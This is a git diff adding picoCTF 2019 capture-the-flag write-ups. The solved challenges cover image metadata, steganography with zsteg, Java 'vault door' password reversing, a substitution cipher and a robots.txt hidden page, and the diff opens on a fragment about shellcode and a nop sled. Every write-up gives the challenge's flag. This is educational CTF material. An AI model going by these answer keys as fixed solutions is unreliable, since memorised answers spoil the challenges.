+ +We can now read the flag using the elevated permissions. + +NOTE: The use of `rand()` in the program is entirely predictable as `srand()` is not used before it. This could eliminate the use of the nop sled by placing the shellcode at the predictable offset. \ No newline at end of file diff --git a/writeups/picoCTF19/soMeta.md b/writeups/picoCTF19/soMeta.md new file mode 100644 index 0000000..84e0c03 --- /dev/null +++ b/writeups/picoCTF19/soMeta.md @@ -0,0 +1,66 @@ +# PicoCTF 2019 - So Meta +Author: PinkNoize + +Forensics - 150 + +> Find the flag in this picture. You can also find the file in /problems/so-meta_1_ab9d99603935344b81d7f07973e70155. + +# Writeup + +This challenge provides us with an PNG image file. + +![](assets/soMetaImage.png) + +Upon visual inspection there is nothing interesting in the image file. The title of this challenge hints about metadata of the image. We can view the metadata of the image with the `identify` tool from the `imagemagick` tool suite. + +```bash +$ identify -verbose ~/ctf-writeups/writeups/picoCTF19/assets/soMetaImage.png +Image: /home/static/ctf-writeups/writeups/picoCTF19/assets/soMetaImage.png + Format: PNG (Portable Network Graphics) + Geometry: 600x600 + Class: DirectClass + Type: true color + Depth: 8 bits-per-pixel component + Channel Depths: + Red: 8 bits + Green: 8 bits + Blue: 8 bits + Channel Statistics: + Red: + Minimum: 0.00 (0.0000) + Maximum: 65535.00 (1.0000) + Mean: 46024.58 (0.7023) + Standard Deviation: 25298.92 (0.3860) + Green: + Minimum: 0.00 (0.0000) + Maximum: 65535.00 (1.0000) + Mean: 46024.47 (0.7023) + Standard Deviation: 25299.02 (0.3860) + Blue: + Minimum: 0.00 (0.0000) + Maximum: 65535.00 (1.0000) + Mean: 46024.66 (0.7023) + Standard Deviation: 25298.91 (0.3860) + Filesize: 106.2Ki + Interlace: No + Orientation: Unknown + Background Color: white + Border Color: #DFDFDF + Matte Color: #BDBDBD + Page geometry: 600x600+0+0 + Compose: Over + Dispose: Undefined + Iterations: 0 + Compression: Zip + Png:IHDR.color-type-orig: 2 + Png:IHDR.bit-depth-orig: 8 + Software: Adobe ImageReady + Artist: picoCTF{s0_m3ta_368a0341} + Signature: af96cc3fb94bdba64dea0ea1c3141d96bddfbabb4251910681cd52d3eabad77c + Tainted: False + User Time: 0.010u + Elapsed Time: 0m:0.003818s + Pixels Per Second: 89.9Mi +``` + +We find the flag in the artist field, `picoCTF{s0_m3ta_368a0341}`. diff --git a/writeups/picoCTF19/theNumbers.md b/writeups/picoCTF19/theNumbers.md new file mode 100644 index 0000000..142a55f --- /dev/null +++ b/writeups/picoCTF19/theNumbers.md @@ -0,0 +1,18 @@ +# PicoCTF 2019 - The Numbers +Author: PinkNoize + +Cryptography - 50 + +> The numbers... what do they mean? + +## TL;DR + +Convert the numbers to letters to retrieve the flag. + +# Writeup + +This challenge provides us with an image containing a bunch of letters and curly brackets. + +![](assets/theNumbers.png) + +Knowing the the flag format is picoCTF{s0me_t3xt_h3r3}, we can conclude that the numbers before the { correspond to picoCTF. If we take a closer look we can see that numbers correspond to the index in the alphabet of the letter its replaced. We can figure out its all capitals from the provided hint, `The flag is in the format PICOCTF{}`. Translating it results in the flag, `PICOCTF{THENUMBERSMASON}`. \ No newline at end of file diff --git a/writeups/picoCTF19/unzip.md b/writeups/picoCTF19/unzip.md new file mode 100644 index 0000000..539faec --- /dev/null +++ b/writeups/picoCTF19/unzip.md @@ -0,0 +1,22 @@ +# PicoCTF 2019 - unzip +Author: PinkNoize + +Forensics - 50 + +> Can you unzip this file and get the flag? + +# Writeup + +This challenge provides us with a zip file. We can unzip the file with the command, `unzip`. + +```bash +$ unzip flag.zip +Archive: flag.zip + inflating: flag.png +``` + +This provides us with the image below. + +![](assets/unzipFlag.png) + +The flag is `picoCTF{unz1pp1ng_1s_3a5y}`. \ No newline at end of file diff --git a/writeups/picoCTF19/vaultDoor1.md b/writeups/picoCTF19/vaultDoor1.md new file mode 100644 index 0000000..74940e9 --- /dev/null +++ b/writeups/picoCTF19/vaultDoor1.md @@ -0,0 +1,114 @@ +# PicoCTF 2019 - vault-door-1 +Author: PinkNoize + +Reverse Engineering - 100 + +> This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java + +## TL;DR + +This challenge consists of a Java source file with a obfuscated hardcoded password. Map string indices to characters to recover the flag. + +# Writeup + +This challenge provides us with similar source code to [vault-door-training](vaultDoorTraining.md). + +```java +import java.util.*; + +class VaultDoor1 { + public static void main(String args[]) { + VaultDoor1 vaultDoor = new VaultDoor1(); + Scanner scanner = new Scanner(System.in); + System.out.print("Enter vault password: "); + String userInput = scanner.next(); + String input = userInput.substring("picoCTF{".length(),userInput.length()-1); + if (vaultDoor.checkPassword(input)) { + System.out.println("Access granted."); + } else { + System.out.println("Access denied!"); + } + } + + // I came up with a more secure way to check the password without putting + // the password itself in the source code. I think this is going to be + // UNHACKABLE!! I hope Dr. Evil agrees... + // + // -Minion #8728 + public boolean checkPassword(String password) { + return password.length() == 32 && + password.charAt(0) == 'd' && + password.charAt(29) == '8' && + password.charAt(4) == 'r' && + password.charAt(2) == '5' && + password.charAt(23) == 'r' && + password.charAt(3) == 'c' && + password.charAt(17) == '4' && + password.charAt(1) == '3' && + password.charAt(7) == 'b' && + password.charAt(10) == '_' && + password.charAt(5) == '4' && + password.charAt(9) == '3' && + password.charAt(11) == 't' && + password.charAt(15) == 'c' && + password.charAt(8) == 'l' && + password.charAt(12) == 'H' && + password.charAt(20) == 'c' && + password.charAt(14) == '_' && + password.charAt(6) == 'm' && + password.charAt(24) == '5' && + password.charAt(18) == 'r' && + password.charAt(13) == '3' && + password.charAt(19) == '4' && + password.charAt(21) == 'T' && + password.charAt(16) == 'H' && + password.charAt(27) == '3' && + password.charAt(30) == '4' && + password.charAt(25) == '_' && + password.charAt(22) == '3' && + password.charAt(28) == 'f' && + password.charAt(26) == '0' && + password.charAt(31) == '1'; + } +} +``` + +Just like the previous challenge, the password is hardcoded but this time it is no longer in the form of a string. In the first line of `checkPassword()` we see that the password is 32 characters long. The lines that follow compare characters of the input at the corresponding index to constants. To recover the flag we just have to put the characters on the right in order from least index to greatest. I chose to do this by reordering the lines of code to reduce errors. + +```java +password.charAt(0) == 'd' && +password.charAt(1) == '3' && +password.charAt(2) == '5' && +password.charAt(3) == 'c' && +password.charAt(4) == 'r' && +password.charAt(5) == '4' && +password.charAt(6) == 'm' && +password.charAt(7) == 'b' && +password.charAt(8) == 'l' && +password.charAt(9) == '3' && +password.charAt(10) == '_' && +password.charAt(11) == 't' && +password.charAt(12) == 'H' && +password.charAt(13) == '3' && +password.charAt(14) == '_' && +password.charAt(15) == 'c' && +password.charAt(16) == 'H' && +password.charAt(17) == '4' && +password.charAt(18) == 'r' && +password.charAt(19) == '4' && +password.charAt(20) == 'c' && +password.charAt(21) == 'T' && +password.charAt(22) == '3' && +password.charAt(23) == 'r' && +password.charAt(24) == '5' && +password.charAt(25) == '_' && +password.charAt(26) == '0' && +password.charAt(27) == '3' && +password.charAt(28) == 'f' && +password.charAt(29) == '8' && +password.charAt(30) == '4' && +password.charAt(31) == '1'; +``` +Now we can write down the characters in the same order to recover part of the flag. `d35cr4mbl3_tH3_cH4r4cT3r5_03f841` + +We can wrap this in the flag prefix to complete the flag. `picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_03f841}` \ No newline at end of file diff --git a/writeups/picoCTF19/vaultDoor3.md b/writeups/picoCTF19/vaultDoor3.md new file mode 100644 index 0000000..ad7d3e1 --- /dev/null +++ b/writeups/picoCTF19/vaultDoor3.md @@ -0,0 +1,136 @@ +# PicoCTF 2019 - vault-door-3 +Author: PinkNoize + +Reverse Engineering - 200 + +> This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java + +## TL;DR + +This challenge consists of a Java source file with a obfuscated hardcoded password. The input is reordered then compared to the flag. + +# Writeup + +This challenge provides source code like the similar problems. + +```java +import java.util.*; + +class VaultDoor3 { + public static void main(String args[]) { + VaultDoor3 vaultDoor = new VaultDoor3(); + Scanner scanner = new Scanner(System.in); + System.out.print("Enter vault password: "); + String userInput = scanner.next(); + String input = userInput.substring("picoCTF{".length(),userInput.length()-1); + if (vaultDoor.checkPassword(input)) { + System.out.println("Access granted."); + } else { + System.out.println("Access denied!"); + } + } + + // Our security monitoring team has noticed some intrusions on some of the + // less secure doors. Dr. Evil has asked me specifically to build a stronger + // vault door to protect his Doomsday plans. I just *know* this door will + // keep all of those nosy agents out of our business. Mwa ha! + // + // -Minion #2671 + public boolean checkPassword(String password) { + if (password.length() != 32) { + return false; + } + char[] buffer = new char[32]; + int i; + for (i=0; i<8; i++) { + buffer[i] = password.charAt(i); + } + for (; i<16; i++) { + buffer[i] = password.charAt(23-i); + } + for (; i<32; i+=2) { + buffer[i] = password.charAt(46-i); + } + for (i=31; i>=17; i-=2) { + buffer[i] = password.charAt(i); + } + String s = new String(buffer); + return s.equals("jU5t_a_sna_3lpm13g34c_u_4_m3rf48"); + } +} +``` + +At a quick glance, `checkPassword()` reorders the input then compares it with a hardcoded string. If we can recover the input that reorders to the hardcoded string, we can recover the flag. We can recover the mapping of indices from before reordering to after by modifying the code. + +```java + public boolean checkPassword(String password) { + if (password.length() != 32) { + return false; + } + char[] buffer = new char[32]; + int i; + + int[] map = new int[32]; // new + + for (i=0; i<8; i++) { + buffer[i] = password.charAt(i); + map[i] = i; // new + } + for (; i<16; i++) { + buffer[i] = password.charAt(23-i); + map[i] = 23-i; // new + } + for (; i<32; i+=2) { + buffer[i] = password.charAt(46-i); + map[i] = 46-i; // new + } + for (i=31; i>=17; i-=2) { + buffer[i] = password.charAt(i); + map[i] = i; // new + } + String s = new String(buffer); + + System.out.println(Arrays.toString(map)); // new + + return s.equals("jU5t_a_sna_3lpm13g34c_u_4_m3rf48"); + } +``` + +We can run this code with an input of 32 characters (plus the prefix) to recover the mapping. + +```bash +┌─[user@host]─[~/vault-door-3] +└──╼ $javac VaultDoor3.java +┌─[user@host]─[~/vault-door-3] +└──╼ $java VaultDoor3 +Enter vault password: picoCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} +[0, 1, 2, 3, 4, 5, 6, 7, 15, 14, 13, 12, 11, 10, 9, 8, 30, 17, 28, 19, 26, 21, 24, 23, 22, 25, 20, 27, 18, 29, 16, 31] +Access denied! +``` + +We can then apply the reverse of this mapping to the hardcoded string to recover the flag. + +```java + char[] recovered_flag = new char[32]; + for(i=0;i<32;i++) { + recovered_flag[i] = "jU5t_a_sna_3lpm13g34c_u_4_m3rf48".charAt(map[i]); + } + System.out.println(new String(recovered_flag)); +``` + +We can then run this by compiling the file and running the result. + +```bash +┌─[user@host]─[~/vault-door-3] +└──╼ $javac VaultDoor3.java +┌─[user@host]─[~/vault-door-3] +└──╼ $java VaultDoor3 +Enter vault password: picoCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} +[0, 1, 2, 3, 4, 5, 6, 7, 15, 14, 13, 12, 11, 10, 9, 8, 30, 17, 28, 19, 26, 21, 24, 23, 22, 25, 20, 27, 18, 29, 16, 31] +jU5t_a_s1mpl3_an4gr4m_4_u_c33f38 +Access denied! +┌─[static@parrot]─[~/Downloads] +└──╼ $ +``` + +We now just have to wrap the result with the flag prefix to get the flag, `picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_c33f38}`. \ No newline at end of file diff --git a/writeups/picoCTF19/vaultDoor4.md b/writeups/picoCTF19/vaultDoor4.md new file mode 100644 index 0000000..7452018 --- /dev/null +++ b/writeups/picoCTF19/vaultDoor4.md @@ -0,0 +1,100 @@ +# PicoCTF 2019 - vault-door-4 +Author: PinkNoize + +Reverse Engineering - 250 + +> This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java + +## TL;DR + +This challenge provides a Java source file with a hardcoded password. The password is encoded in different bases and can be converted to ascii to get the flag. + +# Writeup + +This challenge provides us with a Java source file with a similar setup to the previous challenges. The user input is compared to a byte array. + +```java +import java.util.*; + +class VaultDoor4 { + public static void main(String args[]) { + VaultDoor4 vaultDoor = new VaultDoor4(); + Scanner scanner = new Scanner(System.in); + System.out.print("Enter vault password: "); + String userInput = scanner.next(); + String input = userInput.substring("picoCTF{".length(),userInput.length()-1); + if (vaultDoor.checkPassword(input)) { + System.out.println("Access granted."); + } else { + System.out.println("Access denied!"); + } + } + + // I made myself dizzy converting all of these numbers into different bases, + // so I just *know* that this vault will be impenetrable. This will make Dr. + // Evil like me better than all of the other minions--especially Minion + // #5620--I just know it! + // + // .:::. .:::. + // :::::::.::::::: + // ::::::::::::::: + // ':::::::::::::' + // ':::::::::' + // ':::::' + // ':' + // -Minion #7781 + public boolean checkPassword(String password) { + byte[] passBytes = password.getBytes(); + byte[] myBytes = { + 106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 , + 0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f, + 0142, 0131, 0164, 063 , 0163, 0137, 063 , 0141, + '7' , '2' , '4' , 'c' , '8' , 'f' , '9' , '2' , + }; + for (int i=0; i<32; i++) { + if (passBytes[i] != myBytes[i]) { + return false; + } + } + return true; + } +} +``` + +To extract the flag we have to convert each byte in `myBytes` to ascii. We must also notice that the bytes are stored in many different forms, such as decimal, hex, octal and ascii. Alternatively, we could convert `myBytes` to a string and print it for the flag. + +```java +... +import java.nio.charset.StandardCharsets; +... + public boolean checkPassword(String password) { + byte[] passBytes = password.getBytes(); + byte[] myBytes = { + 106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 , + 0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f, + 0142, 0131, 0164, 063 , 0163, 0137, 063 , 0141, + '7' , '2' , '4' , 'c' , '8' , 'f' , '9' , '2' , + }; + System.out.println(new String(myBytes, StandardCharsets.UTF_8)); + for (int i=0; i<32; i++) { + if (passBytes[i] != myBytes[i]) { + return false; + } + } + return true; + } +``` + +We can then compile and run this to get the flag. + +```bash +┌─[user@host]─[~/vault-door-4] +└──╼ $javac VaultDoor4.java +┌─[user@host]─[~/vault-door-4] +└──╼ $java VaultDoor4 +Enter vault password: picoCTF{asdfasdfasdf} +jU5t_4_bUnCh_0f_bYt3s_3a724c8f92 +Access denied! +``` + +So the flag is `picoCTF{jU5t_4_bUnCh_0f_bYt3s_3a724c8f92}`. \ No newline at end of file diff --git a/writeups/picoCTF19/vaultDoorTraining.md b/writeups/picoCTF19/vaultDoorTraining.md new file mode 100644 index 0000000..9d400ff --- /dev/null +++ b/writeups/picoCTF19/vaultDoorTraining.md @@ -0,0 +1,46 @@ +# PicoCTF 2019 - vault-door-training +Author: PinkNoize + +Reverse Engineering - 50 + +> Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java + +## TL;DR + +The challenge consists of a Java source file with a hardcoded password that is the flag. + +# Writeup + +The challenge description directs us to a Java source file. + +```java +import java.util.*; + +class VaultDoorTraining { + public static void main(String args[]) { + VaultDoorTraining vaultDoor = new VaultDoorTraining(); + Scanner scanner = new Scanner(System.in); + System.out.print("Enter vault password: "); + String userInput = scanner.next(); + String input = userInput.substring("picoCTF{".length(),userInput.length()-1); + if (vaultDoor.checkPassword(input)) { + System.out.println("Access granted."); + } else { + System.out.println("Access denied!"); + } + } + + // The password is below. Is it safe to put the password in the source code? + // What if somebody stole our source code? Then they would know what our + // password is. Hmm... I will think of some ways to improve the security + // on the other doors. + // + // -Minion #9567 + public boolean checkPassword(String password) { + return password.equals("w4rm1ng_Up_w1tH_jAv4_fcb79c48f5b"); + } +} +``` + +In `main()` we can see that `userInput` is check with the vault door password in `vaultDoor.checkPassword(input)`. +In `checkPassword()` we can see that the password is `w4rm1ng_Up_w1tH_jAv4_fcb79c48f5b`. We can combine this with picoCTF{} to get the full flag, `picoCTF{w4rm1ng_Up_w1tH_jAv4_fcb79c48f5b}`. \ No newline at end of file diff --git a/writeups/picoCTF19/wavesOverLambda.md b/writeups/picoCTF19/wavesOverLambda.md new file mode 100644 index 0000000..81668c4 --- /dev/null +++ b/writeups/picoCTF19/wavesOverLambda.md @@ -0,0 +1,28 @@ +# picoCTF 2019 - waves over lambda +Author: PinkNoize + +Cryptography - 300 + +> We made alot of substitutions to encrypt this. Can you decrypt it? Connect with `nc 2019shell1.picoctf.com 37925`. + +# Writeup + +Upon running the netcat command, we are given a ciphertext. + +``` +------------------------------------------------------------------------------- +pwxamlez gqmq nz cwbm sfla - smqibqxpc_nz_p_wvqm_flktul_klmztyjwjm +------------------------------------------------------------------------------- +glvnxa glu zwkq enkq le kc unzjwzlf ygqx nx fwxuwx, n glu vnznequ egq tmnenzg kbzqbk, lxu kluq zqlmpg lkwxa egq twwoz lxu kljz nx egq fntmlmc mqalmunxa emlxzcfvlxnl; ne glu zembpo kq egle zwkq swmqoxwyfquaq ws egq pwbxemc pwbfu glmufc slnf ew glvq zwkq nkjwmelxpq nx uqlfnxa yneg l xwtfqklx ws egle pwbxemc. n snxu egle egq unzemnpe gq xlkqu nz nx egq qdemqkq qlze ws egq pwbxemc, hbze wx egq twmuqmz ws egmqq zeleqz, emlxzcfvlxnl, kwfulvnl lxu tbowvnxl, nx egq knuze ws egq plmjlegnlx kwbxelnxz; wxq ws egq ynfuqze lxu fqlze oxwyx jwmenwxz ws qbmwjq. n ylz xwe ltfq ew fnage wx lxc klj wm ywmo anvnxa egq qdlpe fwplfnec ws egq plzefq umlpbfl, lz egqmq lmq xw kljz ws egnz pwbxemc lz cqe ew pwkjlmq yneg wbm wyx wmuxlxpq zbmvqc kljz; tbe n swbxu egle tnzemner, egq jwze ewyx xlkqu tc pwbxe umlpbfl, nz l slnmfc yqff-oxwyx jflpq. n zglff qxeqm gqmq zwkq ws kc xweqz, lz egqc klc mqsmqzg kc kqkwmc ygqx n elfo wvqm kc emlvqfz yneg knxl. +``` + +As hinted by the desciption, this is a substitution cipher. We can use an [online substitution solver](https://www.guballa.de/substitution-solver) to solve this. + +``` +------------------------------------------------------------------------------- +congrats here is your flag - frequency_is_c_over_lambda_marsbwpopr +------------------------------------------------------------------------------- +having had some time at my disposal when in london, i had visited the british museum, and made search among the books and maps in the library regarding transylvania; it had struck me that some foreknowledge of the country could hardly fail to have some importance in dealing with a nobleman of that country. i find that the district he named is in the extreme east of the country, just on the borders of three states, transylvania, moldavia and bukovina, in the midst of the carpathian mountains; one of the wildest and least known portions of europe. i was not able to light on any map or work giving the exact locality of the castle dracula, as there are no maps of this country as yet to compare with our own ordnance survey maps; but i found that bistritz, the post town named by count dracula, is a fairly well-known place. i shall enter here some of my notes, as they may refresh my memory when i talk over my travels with mina. +``` + +The flag is `frequency_is_c_over_lambda_marsbwpopr`. \ No newline at end of file diff --git a/writeups/picoCTF19/whatLiesWithin.md b/writeups/picoCTF19/whatLiesWithin.md new file mode 100644 index 0000000..a344a03 --- /dev/null +++ b/writeups/picoCTF19/whatLiesWithin.md @@ -0,0 +1,45 @@ +# PicoCTF 2019 - What Lies Within +Author: PinkNoize + +Forensics - 150 + +> Theres something in the building. Can you retrieve the flag? + +# Writeup + +This challenge provides us with another PNG image file. Nothing interesting comes out of running strings and viewing the metadata. We can try to check if there are any other files inside the PNG using `binwalk`. + +```bash +$ binwalk -e buildings.png + +DECIMAL HEXADECIMAL DESCRIPTION +-------------------------------------------------------------------------------- +0 0x0 PNG image, 657 x 438, 8-bit/color RGBA, non-interlaced +41 0x29 Zlib compressed data, compressed + +``` + +This shows that this a PNG file, but doesn't show there is another file inside. The elimination of these possibilities hints that this challenge is a [steganography](https://en.wikipedia.org/wiki/Steganography) challenge. We can run this against some automatic steganography detection and extraction tools. One of which is [zsteg](https://github.com/zed-0xff/zsteg) which works on PNGs. There is an [online solution](https://aperisolve.fr/) too if you do not wish to install zsteg. + +After running the automatic tool we get the output below. + +``` +b1,r,lsb,xy .. text: "^5>R5YZrG" +b1,rgb,lsb,xy .. text: "picoCTF{h1d1ng_1n_th3_b1t5}" +b1,abgr,msb,xy .. file: PGP Secret Sub-key - +b2,b,lsb,xy .. text: "XuH}p#8Iy=" +b3,abgr,msb,xy .. text: "t@Wp-_tH_v\r" +b4,r,lsb,xy .. text: "fdD\"\"\"\" " +b4,r,msb,xy .. text: "%Q#gpSv0c05" +b4,g,lsb,xy .. text: "fDfffDD\"\"" +b4,g,msb,xy .. text: "f\"fff\"\"DD" +b4,b,lsb,xy .. text: "\"$BDDDDf" +b4,b,msb,xy .. text: "wwBDDDfUU53w" +b4,rgb,msb,xy .. text: "dUcv%F#A`" +b4,bgr,msb,xy .. text: " V\"c7Ga4" +b4,abgr,msb,xy .. text: "gOC_$_@o" +``` + +We can see the flag in the second row, `picoCTF{h1d1ng_1n_th3_b1t5}`. + +We can see the way the flag was encoded in the information left of the flag. \ No newline at end of file diff --git a/writeups/picoCTF19/whereAreTheRobots.md b/writeups/picoCTF19/whereAreTheRobots.md new file mode 100644 index 0000000..0efa268 --- /dev/null +++ b/writeups/picoCTF19/whereAreTheRobots.md @@ -0,0 +1,21 @@ +# PicoCTF 2019 - where-are-the-robots +Author: PinkNoize + +Web Exploitation - 100 + +> Can you find the robots? https://2019shell1.picoctf.com/problem/12267/ (link) or http://2019shell1.picoctf.com:12267 + +## TL;DR + +This challenge consists of a website with a hidden page disclosed in robots.txt. View the hidden page to receive the flag. + +# Writeup + +We are first presented with a page displaying "Welcome" and "Where are the robots?" This suggests that there may be something at [robots.txt](https://www.robotstxt.org/robotstxt.html). + +``` +User-agent: * +Disallow: /713d3.html +``` + +The robots.txt page displays one disallowed html file. Let's view it. Navigating to /713d3.html gives us the flag, `picoCTF{ca1cu1at1ng_Mach1n3s_713d3}`. \ No newline at end of file diff --git a/utctf19/README.md b/writeups/utctf19/README.md similarity index 100% rename from utctf19/README.md rename to writeups/utctf19/README.md diff --git a/utctf19/assets/RegularZips.zip b/writeups/utctf19/assets/RegularZips.zip similarity index 100% rename from utctf19/assets/RegularZips.zip rename to writeups/utctf19/assets/RegularZips.zip diff --git a/utctf19/assets/calculator b/writeups/utctf19/assets/calculator similarity index 100% rename from utctf19/assets/calculator rename to writeups/utctf19/assets/calculator diff --git a/utctf19/assets/low-sodium-bagel.jpeg b/writeups/utctf19/assets/low-sodium-bagel.jpeg similarity index 100% rename from utctf19/assets/low-sodium-bagel.jpeg rename to writeups/utctf19/assets/low-sodium-bagel.jpeg diff --git a/utctf19/assets/regularZips.py b/writeups/utctf19/assets/regularZips.py similarity index 100% rename from utctf19/assets/regularZips.py rename to writeups/utctf19/assets/regularZips.py diff --git a/utctf19/assets/secret.jpg b/writeups/utctf19/assets/secret.jpg similarity index 100% rename from utctf19/assets/secret.jpg rename to writeups/utctf19/assets/secret.jpg diff --git a/utctf19/basicsForensics.md b/writeups/utctf19/basicsForensics.md similarity index 100% rename from utctf19/basicsForensics.md rename to writeups/utctf19/basicsForensics.md diff --git a/utctf19/basicsRe.md b/writeups/utctf19/basicsRe.md similarity index 100% rename from utctf19/basicsRe.md rename to writeups/utctf19/basicsRe.md diff --git a/utctf19/lowSodiumBagel.md b/writeups/utctf19/lowSodiumBagel.md similarity index 100% rename from utctf19/lowSodiumBagel.md rename to writeups/utctf19/lowSodiumBagel.md diff --git a/utctf19/regularZips.md b/writeups/utctf19/regularZips.md similarity index 100% rename from utctf19/regularZips.md rename to writeups/utctf19/regularZips.md